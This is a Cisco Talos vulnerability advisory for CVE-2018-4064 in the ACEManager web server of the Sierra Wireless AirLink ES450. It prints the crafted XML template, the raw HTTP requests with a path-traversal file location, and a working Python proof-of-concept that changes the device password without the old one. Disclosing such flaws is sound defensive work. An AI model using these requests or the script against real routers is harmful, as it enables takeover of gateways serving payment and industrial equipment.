An exploitable unverified password change vulnerability exists in the ACEManager upload.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a unverified device configuration change, resulting in an unverified change of the user password on the device. An attacker can make an authenticated HTTP request to trigger this vulnerability.
baf62120435fdb24226142fdf451c0e8Talos Vulnerability Report
TALOS-2018-0749
Sierra Wireless AirLink ES450 ACEManager upload.cgi Unverified Password Change Vulnerability
April 25, 2019
CVE Number
CVE-2018-4064
Summary
An exploitable unverified password change vulnerability exists in the ACEManager upload.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a unverified device configuration change, resulting in an unverified change of the user password on the device. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Tested Versions
Sierra Wireless AirLink ES450 FW 4.9.3
Product URLs
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/
CVSSv3 Score
8.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
CWE
CWE-620: Unverified Password Change
Details
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.
Utilizing the template upload capability within the WebUI, an authenticated user can change MSCIID settings without verification. While the normal method of changing the user password requires the old user password, uploading the following XML template allows the authenicated user to change the password without the previous user password.
Template Data
<?xml version="1.0" ?>
<template>
<item msciid="5003" title="User Password" value="password01" />
</template>
This can be done by utilizing the the WebUI template upload, or by using the following HTTP requests.
POST /cgi-bin/upload.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------98690229210303203401454887637
Content-Length: 624
-----------------------------98690229210303203401454887637
Content-Disposition: form-data; name="save-as-filename"
SWITemplate.xml
-----------------------------98690229210303203401454887637
Content-Disposition: form-data; name="file-location"
../admin/SWITemplate.xml
-----------------------------98690229210303203401454887637
Content-Disposition: form-data; name="upload-file"; filename="SWIApplyTemplate.xml"
Content-Type: text/xml
<?xml version="1.0" ?>
<template>
<item msciid="5003" title="User Password" value="password01" />
</template>
-----------------------------98690229210303203401454887637--
Followed by
POST /cgi-bin/template_load.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
Connection: close
path=/www/auth/user/SWIApplyTemplate.xml
Other MSCIID values can be changed without verification as well, omitting a MSCIID from the template means that the value will remain unchanged from the current state.
This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.
Exploit Proof of Concept
#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import requests
from requests_toolbelt.utils import dump
def auth(ip, port, password):
data = """<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[{}]]></password>
</connect>
</request>""".format(password)
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
try:
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
return cookies
except:
print("Error while authenticating")
sys.exit(0)
def main():
if len(sys.argv) < 5 or len(sys.argv) > 5:
print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
sys.exit(0)
ip = sys.argv[1]
port = sys.argv[2]
password = sys.argv[3]
new_pass = sys.argv[4]
print("New Password : {}\n".format(new_pass))
cookies = auth(ip, port, password)
xml = """<?xml version="1.0" ?>
<template>
<item msciid="5003" title="User Password" value="{}" />
</template>""".format(new_pass)
files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('SWIApplyTemplate.xml', xml, 'text/xml')}
response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)
response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data="path=/www/auth/user/SWIApplyTemplate.xml", headers={"Content-Type": "application/x-www-form-urlencoded"})
print(response.text)
if __name__ == "__main__":
main()
Timeline
2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor's analysis of issues
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release
Credit
Discovered by Carl Hurd of Cisco Talos.